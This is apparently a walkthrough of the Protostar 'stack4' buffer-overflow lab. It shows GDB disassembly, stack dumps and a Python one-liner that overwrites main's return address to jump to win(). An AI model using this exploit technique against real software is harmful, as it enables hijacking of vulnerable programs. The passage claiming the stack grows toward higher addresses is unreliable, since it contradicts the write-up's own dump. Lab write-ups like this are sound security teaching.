This challenge is one step up from the others in that now we must use GDB. Alternatively, you could use some guess and check, but that would just make your life harder.
In this challenge you have to understand a bit about C. The function gets does no bounds checking of any sort and thus is susceptible to a buffer overflow. To find the overflow, we simply check what the return address is and the offset to our buffer.
We will be able to see both the offset to our buffer and the return address of gets by placing a breakpoint directly before the call to gets. (Warning I made a mistake here that I explain later. If you want to skip the education go to “Doing it Properly”.
(gdb) file stack4
Load new symbol table from “/opt/protostar/bin/stack4”? (y or n) y
Reading symbols from /opt/protostar/bin/stack4…done.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) break *main+16
Breakpoint 1 at 0x8048418: file stack4/stack4.c, line 15.
Now we run it and check the values.
(gdb) x/x $esp
0x0804830c in gets@plt ()
(gdb) x/x $esp
Recall that a pointer to our buffer will be passed to gets via the stack. We can see the address if our buffer will start at stack location 0xbffff710 and that our return address is stored at 0xbffff6fc. Therefore the distance between the two is 0xbffff710-0xbffff6fc=20. Wait a second? That doesn’t make sense does it? I realized here I made a mistake. The stack grows from low address space to high address space. We can’t overwrite the return address of gets because it will be at a lower address space than our buffer. You can see that by examining the stack:
(gdb) x/64x 0xbffff710-80
0xbffff6c0: 0x00000000 0x00000000 0xb7fd7ff4 0xbffff6f8
0xbffff6d0: 0xb7ef3f0a 0xb7fd8420 0xbffff711 0x7fffffff
0xbffff6e0: 0x0000000a 0x00000000 0xb7e966c0 0xb7fd7ff4
0xbffff6f0: 0x00000000 0x00000000 0xbffff758 0x0804841d
0xbffff700: 0xbffff710 0xb7ec6165 0xbffff718 0xb7eada75
0xbffff710: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff720: 0x41414141 0x41414141 0x41414141 0x08040041
0xbffff730: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff758
You can see our buffer of As and then you can see the return address at lower address space. The reason this happens is that the buffer was allocated first placing its start at a higher address in memory. The return address was placed on the stack after the buffer was allocated and thus resides at lower memory.
Doing it Properly
So we can’t overwrite the return address of gets, but there is a return pointer already on the stack at a higher memory address than our buffer – the return pointer for the main function itself. We can find this by setting a breakpoint on the ret instruction in main and examining the top of the stack directly before the return.
(gdb) b *main+22
Breakpoint 3 at 0x804841e: file stack4/stack4.c, line 16.
Breakpoint 3, 0x0804841e in main (argc=134513672, argv=0x1) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) x/x $esp
So the return address for main is at 0xbffff75c. So the difference between the start of our buffer and the return address of main is 0xbffff75c-0xbffff710=4C=76 base 10. So if we have 76 As followed by the address of win, which is at 0x080483f4, we should complete the challenge. (Note: I found win by using the command p win in GDB)
user@protostar:/opt/protostar/bin$ python -c ‘print “A”*76 + “\xf4\x83\x04\x08″‘ | ./stack4
code flow successfully changed
There you have it.